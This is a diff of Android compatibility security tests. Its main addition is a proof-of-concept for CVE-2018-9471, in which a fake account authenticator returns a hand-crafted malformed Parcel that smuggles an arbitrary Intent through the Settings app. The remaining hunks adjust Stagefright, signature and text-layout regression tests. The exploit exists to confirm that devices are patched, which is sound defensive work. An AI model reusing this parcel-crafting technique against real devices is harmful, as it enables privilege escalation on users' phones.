+public class NanoAppBundleTest extends AndroidTestCase {
+
+    private static final String TAG = "NanoAppBundleTest";
+    private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
+
+    private ServiceConnection mServiceConnection =
+        new ServiceConnection() {
+
+            @Override
+            public void onServiceConnected(ComponentName name, IBinder binder) {
+                Log.i(TAG, "Authenticator service " + name + " is connected");
+            }
+
+            @Override
+            public void onServiceDisconnected(ComponentName name) {
+                Log.i(TAG, "Authenticator service " + name + "died abruptly");
+            }
+        };
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        Intent serviceIntent = new Intent(mContext, AuthenticatorService.class);
+        mContext.startService(serviceIntent);
+        mContext.bindService(serviceIntent, mServiceConnection, Context.BIND_AUTO_CREATE);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        if (mContext != null) {
+            Intent serviceIntent = new Intent(mContext, AuthenticatorService.class);
+            mContext.stopService(serviceIntent);
+        }
+        super.tearDown();
+    }
+
+    /**
+     * b/113527124
+     */
+    @SecurityTest(minPatchLevel = "2018-09")
+    public void testPoc_cve_2018_9471() throws Exception {
+
+        try {
+            mContext = InstrumentationRegistry.getInstrumentation().getContext();
+            new NanoAppBundleTest.Trigger(mContext).anyAction();
+            //  against vulnerable bits, the failure will get caught right after trigger.
+            //  against patched bits, 1 minute wait to snap the test
+            Thread.sleep(60_000);
+        } catch(InterruptedException ignored) {
+            Log.i(TAG, "swallow interrupted exception");
+        }
+    }
+
+    public static class Trigger {
+        private static final String TAG = "Trigger";
+        private Context mContext;
+
+        public Trigger(Context context) {
+            mContext = context;
+        }
+
+        private void trigger() {
+            Log.i(TAG, "start...");
+
+            Intent intent = new Intent();
+            intent.setComponent(new ComponentName(
+                    "com.android.settings",
+                    "com.android.settings.accounts.AddAccountSettings"));
+            intent.setAction(Intent.ACTION_RUN);
+            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            String authTypes[] = { SECURITY_CTS_PACKAGE_NAME };
+            intent.putExtra("account_types", authTypes);
+
+            mContext.startActivity(intent);
+
+            Log.i(TAG, "finsihed.");
+        }
+
+        public void anyAction() {
+            Log.i(TAG, "Arbitrary action starts...");
+
+            Intent intent = new Intent();
+
+            intent.setComponent(new ComponentName(
+                "android.security.cts",
+                "android.security.cts.NanoAppBundleTest$FailActivity"));
+            intent.setAction(Intent.ACTION_RUN);
+            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+
+            Authenticator.setIntent(intent);
+
+            trigger();
+
+            Log.i(TAG, "Arbitrary action finished.");
+        }
+    }
+
+    //  customized activity
+    public static class FailActivity extends Activity {
+
+        @Override
+        protected void onCreate(Bundle onSavedInstanceState) {
+            super.onCreate(onSavedInstanceState);
+
+            fail("Arbitrary intent executed");
+        }
+    }
+
+    //
+    //  Authenticator class
+    //
+    public static class Authenticator extends AbstractAccountAuthenticator {
+
+        private static final String TAG = "Authenticator";
+
+        //  mAddAccountDone : flag set to check if the buggy part is got run
+        private boolean mAddAccountDone;
+        public boolean isAddAccountDone() {
+            return mAddAccountDone;
+        }
+        public void setAddAccountDone(boolean isDone) {
+            mAddAccountDone = isDone;
+        }
+
+        //  mAuthContext
+        private static Context mAuthContext;
+        public static Context getAuthContext() {
+            return mAuthContext;
+        }
+
+        //  mIntent : set from Trigger or setPIN
+        private static Intent mIntent;
+        public static Intent getIntent() {
+            return mIntent;
+        }
+        public static void setIntent(Intent intent) {
+            mIntent = intent;
+        }
+
+        //  Authenticator ctor
+        public Authenticator(Context context) {
+            super(context);
+            setAddAccountDone(false);
+            Authenticator.mAuthContext = context;
+        }
+
+        @Override
+        public String getAuthTokenLabel(String authTokenType) {
+            return null;
+        }
+
+        @Override
+        public Bundle editProperties(AccountAuthenticatorResponse accountAuthenticatorResponse,
+                                     String accountType) {
+            return null;
+        }
+
+        @Override
+        public Bundle getAuthToken(AccountAuthenticatorResponse accountAuthenticatorResponse,
+                                   Account account,
+                                   String authTokenType,
+                                   Bundle bundle) {
+            return null;
+        }
+
+        @Override
+        public Bundle addAccount(AccountAuthenticatorResponse response,
+                                 String accountType,
+                                 String authTokenType,
+                                 String[] requiredFeatures,
+                                 Bundle options) {
+            try {
+                Log.i(TAG, String.format("addAccount start...accountType = %s, authTokenType = %s",
+                                    accountType, authTokenType));
+                Bundle bundle = new Bundle();
+                Parcel parcel = GenMalformedParcel.nanoAppFilterParcel(mIntent);
+                bundle.readFromParcel(parcel);
+                parcel.recycle();
+                setAddAccountDone(true);
+                Log.i(TAG, "addAccount finished");
+                return bundle;
+            } catch (Exception e) {
+                e.printStackTrace();
+            }
+            return null;
+        }
+
+        @Override
+        public Bundle confirmCredentials(AccountAuthenticatorResponse accountAuthenticatorResponse,
+                                         Account account,
+                                         Bundle bundle) {
+            return null;
+        }
+
+        @Override
+        public Bundle updateCredentials(AccountAuthenticatorResponse accountAuthenticatorResponse,
+                                        Account account,
+                                        String authTokenType,
+                                        Bundle bundle) {
+            return null;
+        }
+
+        @Override
+        public Bundle hasFeatures(AccountAuthenticatorResponse accountAuthenticatorResponse,
+                                  Account account,
+                                  String[] features) {
+            return null;
+        }
+    }
+
+    //
+    //  AuthenticatorService
+    //
+    public static class AuthenticatorService extends Service {
+
+        private static final String TAG = "AuthenticatorService";
+
+        private Authenticator mAuthenticator;
+        public Authenticator getAuthenticator() {
+            return mAuthenticator;
+        }
+
+        private IBinder mBinder;
+        public IBinder getServiceBinder() {
+            return mBinder;
+        }
+
+        public AuthenticatorService() {
+        }
+
+        @Override
+        public void onCreate() {
+            super.onCreate();
+            //  critical:here have to pass the service context to authenticator, not mContext
+            Log.i(TAG, "creating...");
+            mAuthenticator = new Authenticator(this);
+        }
+
+        @Override
+        public IBinder onBind(Intent intent) {
+            try {
+                Log.i(TAG, "Bind starting...");
+                IBinder binder = mAuthenticator.getIBinder();
+                mBinder = binder;
+                Log.i(TAG, "Bind finished.");
+                return binder;
+            } catch (Exception e) {
+                Log.i(TAG, "Bind exception");
+                e.printStackTrace();
+            }
+            return null;
+        }
+    }
+
+    //
+    //  GenMalformedParcel
+    //
+    public static class GenMalformedParcel {
+
+        public static Parcel nanoAppFilterParcel(Intent intent) {
+            Parcel data = Parcel.obtain();
+            int bundleLenPos = data.dataPosition();
+            data.writeInt(0xffffffff);
+            data.writeInt(0x4C444E42);
+            int bundleStartPos = data.dataPosition();
+            data.writeInt(3);
+
+            data.writeString(SECURITY_CTS_PACKAGE_NAME);
+            data.writeInt(4);
+            data.writeString("android.hardware.location.NanoAppFilter");
+            data.writeLong(0);
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeInt(13);
+
+            int byteArrayLenPos = data.dataPosition();
+            data.writeInt(0xffffffff);
+            int byteArrayStartPos = data.dataPosition();
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeString(AccountManager.KEY_INTENT);
+            data.writeInt(4);
+            data.writeString("android.content.Intent");
+            intent.writeToParcel(data, 0);
+            int byteArrayEndPos = data.dataPosition();
+            data.setDataPosition(byteArrayLenPos);
+            int byteArrayLen = byteArrayEndPos - byteArrayStartPos;
+            data.writeInt(byteArrayLen);
+            data.setDataPosition(byteArrayEndPos);
+
+            int bundleEndPos = data.dataPosition();
+            data.setDataPosition(bundleLenPos);
+            int bundleLen = bundleEndPos - bundleStartPos;
+            data.writeInt(bundleLen);
+            data.setDataPosition(0);
+
+            return data;
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
index 283910b..ee383b2 100644
--- a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
+++ b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
@@ -52,11 +52,9 @@
         PackageManager packageManager = mContext.getPackageManager();
         List<PackageInfo> allPackageInfos = packageManager.getInstalledPackages(
                 PackageManager.GET_UNINSTALLED_PACKAGES |
-                PackageManager.GET_SIGNATURES |
-                PackageManager.MATCH_APEX);
+                PackageManager.GET_SIGNATURES);
         for (PackageInfo packageInfo : allPackageInfos) {
             String packageName = packageInfo.packageName;
-            Log.v(TAG, "Scanning " + packageName);
             if (packageName != null && !isWhitelistedPackage(packageName)) {
                 for (Signature signature : packageInfo.signatures) {
                     if (wellKnownSignatures.contains(signature)) {
@@ -82,20 +80,6 @@
         wellKnownSignatures.add(getSignature(R.raw.sig_devkeys_platform));
         wellKnownSignatures.add(getSignature(R.raw.sig_devkeys_shared));
         wellKnownSignatures.add(getSignature(R.raw.sig_devkeys_networkstack));
-        wellKnownSignatures.add(getSignature(R.raw.sig_com_android_conscrypt));
-        wellKnownSignatures.add(getSignature(R.raw.sig_com_android_media));
-        wellKnownSignatures.add(getSignature(R.raw.sig_com_android_media_swcodec));
-        wellKnownSignatures.add(getSignature(R.raw.sig_com_android_resolv));
-        wellKnownSignatures.add(getSignature(R.raw.sig_com_android_runtime_debug));
-        wellKnownSignatures.add(getSignature(R.raw.sig_com_android_runtime_release));
-        wellKnownSignatures.add(getSignature(R.raw.sig_com_android_tzdata));
-        wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_conscrypt));
-        wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_media));
-        wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_media_swcodec));
-        wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_resolv));
-        wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_runtime_debug));
-        wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_runtime_release));
-        wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_tzdata));
         return wellKnownSignatures;
     }
 
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 67918b2..20c7632 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -111,17 +111,17 @@
 
     @SecurityTest(minPatchLevel = "2016-08")
     public void testStagefright_cve_2016_3829() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_3829);
+        doStagefrightTest(R.raw.cve_2016_3829, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-06")
     public void testStagefright_cve_2017_0643() throws Exception {
-        doStagefrightTest(R.raw.cve_2017_0643);
+        doStagefrightTest(R.raw.cve_2017_0643, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-08")
     public void testStagefright_cve_2017_0728() throws Exception {
-        doStagefrightTest(R.raw.cve_2017_0728);
+        doStagefrightTest(R.raw.cve_2017_0728, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-10")
@@ -161,7 +161,7 @@
 
     @SecurityTest(minPatchLevel = "2017-06")
     public void testStagefright_bug_35763994() throws Exception {
-        doStagefrightTest(R.raw.bug_35763994);
+        doStagefrightTest(R.raw.bug_35763994, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-03")
@@ -171,7 +171,7 @@
 
     @SecurityTest(minPatchLevel = "2017-07")
     public void testStagefright_cve_2016_2507() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_2507);
+        doStagefrightTest(R.raw.cve_2016_2507, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-03")
@@ -266,13 +266,13 @@
 
     @SecurityTest(minPatchLevel = "2017-02")
     public void testStagefright_cve_2016_2429_b_27211885() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_2429_b_27211885);
+        doStagefrightTest(R.raw.cve_2016_2429_b_27211885, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-08")
     public void testStagefright_bug_34031018() throws Exception {
-        doStagefrightTest(R.raw.bug_34031018_32bit);
-        doStagefrightTest(R.raw.bug_34031018_64bit);
+        doStagefrightTest(R.raw.bug_34031018_32bit, false);
+        doStagefrightTest(R.raw.bug_34031018_64bit, false);
     }
 
     /***********************************************************
@@ -297,7 +297,7 @@
 
     @SecurityTest(minPatchLevel = "2018-01")
     public void testStagefright_cve_2017_0852_b_62815506() throws Exception {
-        doStagefrightTest(R.raw.cve_2017_0852_b_62815506);
+        doStagefrightTest(R.raw.cve_2017_0852_b_62815506, false);
     }
 
     @SecurityTest(minPatchLevel = "2018-02")
@@ -323,7 +323,7 @@
 
     @SecurityTest(minPatchLevel = "2016-10")
     public void testStagefright_cve_2016_3920() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_3920);
+        doStagefrightTest(R.raw.cve_2016_3920, false);
     }
 
     @SecurityTest(minPatchLevel = "2018-06")
@@ -338,7 +338,7 @@
 
     @SecurityTest(minPatchLevel = "2016-08")
     public void testStagefright_cve_2016_3821() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_3821);
+        doStagefrightTest(R.raw.cve_2016_3821, false);
     }
 
     @SecurityTest(minPatchLevel = "2018-04")
@@ -358,12 +358,12 @@
 
     @SecurityTest(minPatchLevel = "2017-09")
     public void testStagefright_bug_38115076() throws Exception {
-        doStagefrightTest(R.raw.bug_38115076);
+        doStagefrightTest(R.raw.bug_38115076, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-05")
     public void testStagefright_bug_34618607() throws Exception {
-        doStagefrightTest(R.raw.bug_34618607);
+        doStagefrightTest(R.raw.bug_34618607, false);
     }
 
     @SecurityTest(minPatchLevel = "2018-02")
@@ -388,7 +388,7 @@
 
     @SecurityTest(minPatchLevel = "2017-05")
     public void testStagefright_cve_2017_0600() throws Exception {
-        doStagefrightTest(R.raw.cve_2017_0600);
+        doStagefrightTest(R.raw.cve_2017_0600, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-08")
@@ -424,7 +424,7 @@
     @SecurityTest(minPatchLevel = "2017-03")
     public void testBug_33387820() throws Exception {
         int[] frameSizes = {45, 3202, 430, 2526};
-        doStagefrightTestRawBlob(R.raw.bug_33387820_avc, "video/avc", 320, 240, frameSizes);
+        doStagefrightTestRawBlob(R.raw.bug_33387820_avc, "video/avc", 320, 240, frameSizes, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-07")
@@ -460,7 +460,8 @@
     @SecurityTest(minPatchLevel = "2016-08")
     public void testBug_28816956() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_28816956_framelen);
-        doStagefrightTestRawBlob(R.raw.bug_28816956_hevc, "video/hevc", 352, 288, frameSizes);
+        doStagefrightTestRawBlob(
+                R.raw.bug_28816956_hevc, "video/hevc", 352, 288, frameSizes, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-03")
@@ -495,7 +496,7 @@
 
     @SecurityTest(minPatchLevel = "2017-05")
     public void testStagefright_cve_2017_0599() throws Exception {
-        doStagefrightTest(R.raw.cve_2017_0599);
+        doStagefrightTest(R.raw.cve_2017_0599, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-09")
@@ -525,7 +526,7 @@
 
     @SecurityTest(minPatchLevel = "2017-09")
     public void testStagefright_cve_2016_6712() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_6712);
+        doStagefrightTest(R.raw.cve_2016_6712, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-04")
@@ -551,12 +552,12 @@
 
     @SecurityTest(minPatchLevel = "2017-06")
     public void testStagefright_bug_33818508() throws Exception {
-        doStagefrightTest(R.raw.bug_33818508);
+        doStagefrightTest(R.raw.bug_33818508, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-08")
     public void testStagefright_bug_32873375() throws Exception {
-        doStagefrightTest(R.raw.bug_32873375);
+        doStagefrightTest(R.raw.bug_32873375, false);
     }
 
     @SecurityTest(minPatchLevel = "2018-02")
@@ -619,7 +620,7 @@
 
     @SecurityTest(minPatchLevel = "2016-06")
     public void testStagefright_cve_2016_2428() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_2428);
+        doStagefrightTest(R.raw.cve_2016_2428, false);
     }
 
     @SecurityTest(minPatchLevel = "2016-07")
@@ -657,7 +658,7 @@
                 @Override
                 public void run() {
                     try {
-                        doStagefrightTestMediaCodec(tempFile.getAbsolutePath());
+                        doStagefrightTestMediaCodec(tempFile.getAbsolutePath(), false);
                     } catch (Exception | AssertionError e) {
                         if (!tempFile.delete()) {
                             Log.e(TAG, "Failed to delete temporary PoC file");
@@ -682,7 +683,7 @@
 
     @SecurityTest(minPatchLevel = "2017-06")
     public void testStagefright_bug_32322258() throws Exception {
-        doStagefrightTest(R.raw.bug_32322258);
+        doStagefrightTest(R.raw.bug_32322258, false);
     }
 
     @SecurityTest(minPatchLevel = "2015-10")
@@ -712,7 +713,7 @@
 
     @SecurityTest(minPatchLevel = "2015-10")
     public void testStagefright_cve_2015_3862_b_22954006() throws Exception {
-        doStagefrightTest(R.raw.cve_2015_3862_b_22954006);
+        doStagefrightTest(R.raw.cve_2015_3862_b_22954006, false);
     }
 
     @SecurityTest(minPatchLevel = "2015-10")
@@ -777,12 +778,12 @@
 
     @SecurityTest(minPatchLevel = "2016-07")
     public void testStagefright_cve_2016_3755() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_3755);
+        doStagefrightTest(R.raw.cve_2016_3755, false);
     }
 
     @SecurityTest(minPatchLevel = "2016-09")
     public void testStagefright_cve_2016_3878_b_29493002() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_3878_b_29493002);
+        doStagefrightTest(R.raw.cve_2016_3878_b_29493002, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-08")
@@ -802,12 +803,12 @@
 
     @SecurityTest(minPatchLevel = "2016-06")
     public void testStagefright_bug_27855419_CVE_2016_2463() throws Exception {
-        doStagefrightTest(R.raw.bug_27855419);
+        doStagefrightTest(R.raw.bug_27855419, false);
     }
 
     @SecurityTest(minPatchLevel = "2015-11")
     public void testStagefright_bug_19779574() throws Exception {
-        doStagefrightTest(R.raw.bug_19779574);
+        doStagefrightTest(R.raw.bug_19779574, false);
     }
 
     /***********************************************************
@@ -868,8 +869,11 @@
         Thread server = new Thread() {
             @Override
             public void run() {
-                try (ServerSocket serverSocket = new ServerSocket(8080);
-                        Socket conn = serverSocket.accept()) {
+                try (ServerSocket serverSocket = new ServerSocket(8080) {
+                        {setSoTimeout(10_000);} // time out after 10 seconds
+                    };
+                    Socket conn = serverSocket.accept();
+                ) {
                     OutputStream outputstream = conn.getOutputStream();
                     InputStream inputStream = conn.getInputStream();
                     byte input[] = new byte[65536];
@@ -978,7 +982,7 @@
 
     @SecurityTest(minPatchLevel = "2016-12")
     public void testStagefright_cve_2016_6764() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_6764);
+        doStagefrightTest(R.raw.cve_2016_6764, false);
     }
 
     @SecurityTest(minPatchLevel = "2018-01")
@@ -988,7 +992,7 @@
 
     @SecurityTest(minPatchLevel = "2017-06")
     public void testStagefright_bug_35467107() throws Exception {
-        doStagefrightTest(R.raw.bug_35467107);
+        doStagefrightTest(R.raw.bug_35467107, false);
     }
 
     /***********************************************************
@@ -1086,12 +1090,12 @@
 
     @SecurityTest(minPatchLevel = "2016-12")
     public void testStagefright_cve_2016_6765() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_6765);
+        doStagefrightTest(R.raw.cve_2016_6765, false);
     }
 
     @SecurityTest(minPatchLevel = "2016-07")
     public void testStagefright_cve_2016_2508() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_2508);
+        doStagefrightTest(R.raw.cve_2016_2508, false);
     }
 
     @SecurityTest(minPatchLevel = "2016-11")
@@ -1111,7 +1115,7 @@
 
     @SecurityTest(minPatchLevel = "2016-09")
     public void testStagefright_cve_2016_3879() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_3879);
+        doStagefrightTest(R.raw.cve_2016_3879, false);
     }
 
     private void doStagefrightTest(final int rid) throws Exception {
@@ -1792,7 +1796,7 @@
 
     @SecurityTest(minPatchLevel = "2017-08")
     public void testBug36816007() throws Exception {
-        doStagefrightTestRawBlob(R.raw.bug_36816007, "video/avc", 320, 240);
+        doStagefrightTestRawBlob(R.raw.bug_36816007, "video/avc", 320, 240, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-05")
diff --git a/tests/tests/text/src/android/text/cts/StaticLayoutTest.java b/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
index 56a6c85..12a4271 100644
--- a/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
+++ b/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
@@ -33,6 +33,7 @@
 import android.graphics.Paint.FontMetricsInt;
 import android.graphics.Typeface;
 import android.os.LocaleList;
+import android.platform.test.annotations.SecurityTest;
 import android.text.Editable;
 import android.text.Layout;
 import android.text.Layout.Alignment;
@@ -1681,4 +1682,33 @@
         end = LOREM_IPSUM.length();
         testLineBackgroundSpanInRange(LOREM_IPSUM, start, end);
     }
+
+    // This is for b/140755449
+    @SecurityTest
+    @Test
+    public void testBidiVisibleEnd() {
+        TextPaint paint = new TextPaint();
+        // The default text size is too small and not useful for handling line breaks.
+        // Make it bigger.
+        paint.setTextSize(32);
+
+        final String input = "\u05D0aaaaaa\u3000 aaaaaa";
+        // To make line break happen, pass slightly shorter width from the full text width.
+        final int lineBreakWidth = (int) (paint.measureText(input) * 0.8);
+        final StaticLayout layout = StaticLayout.Builder.obtain(
+                input, 0, input.length(), paint, lineBreakWidth).build();
+
+        // Make sure getLineMax won't cause crashes.
+        // getLineMax eventually calls TextLine.measure which was the problematic method.
+        layout.getLineMax(0);
+
+        final Bitmap bmp = Bitmap.createBitmap(
+                layout.getWidth(),
+                layout.getHeight(),
+                Bitmap.Config.RGB_565);
+        final Canvas c = new Canvas(bmp);
+        // Make sure draw won't cause crashes.
+        // draw eventualy calls TextLine.draw which was the problematic method.
+        layout.draw(c);
+    }
 }
diff --git a/tests/tests/text/src/android/text/method/cts/ScrollingMovementMethodTest.java b/tests/tests/text/src/android/text/method/cts/ScrollingMovementMethodTest.java
index e19dfe8..34ffd76 100644
--- a/tests/tests/text/src/android/text/method/cts/ScrollingMovementMethodTest.java
+++ b/tests/tests/text/src/android/text/method/cts/ScrollingMovementMethodTest.java
@@ -263,8 +263,18 @@
         assertTrue(mTextView.getScrollY() > previousScrollY);
         assertTrue(mTextView.getScrollX() < bottom);
 
+        assertTrue(getActionResult(new ActionRunnerWithResult() {
+            public void run() {
+                // move back up for the next test
+                mResult = method.onTouchEvent(mTextView, mSpannable, MotionEvent.obtain(now, now,
+                        MotionEvent.ACTION_MOVE, 0, -distFar, 0));
+            }
+        }));
+
         previousScrollY = mTextView.getScrollY();
-        final int distTooFar = (int) (-bottom * 10);
+        // further detracting mScaledTouchSlop from (-bottom * 10) so it is guaranteed to be
+        // greater than the touch slop value.
+        final int distTooFar = (int) (-bottom * 10) - mScaledTouchSlop;
         assertTrue(getActionResult(new ActionRunnerWithResult() {
             public void run() {
                 // move for long distance
diff --git a/tests/tests/transition/res/values/styles.xml b/tests/tests/transition/res/values/styles.xml
index 00303c9..be2272e 100644
--- a/tests/tests/transition/res/values/styles.xml
+++ b/tests/tests/transition/res/values/styles.xml
@@ -14,7 +14,7 @@
      limitations under the License.
      -->
 <resources xmlns:android="http://schemas.android.com/apk/res/android">
-  <style name="Theme_NoSwipeDismiss">
+  <style name="Theme_NoSwipeDismiss" parent="android:Theme.DeviceDefault">
     <item name="android:windowSwipeToDismiss">false</item>
   </style>
 </resources>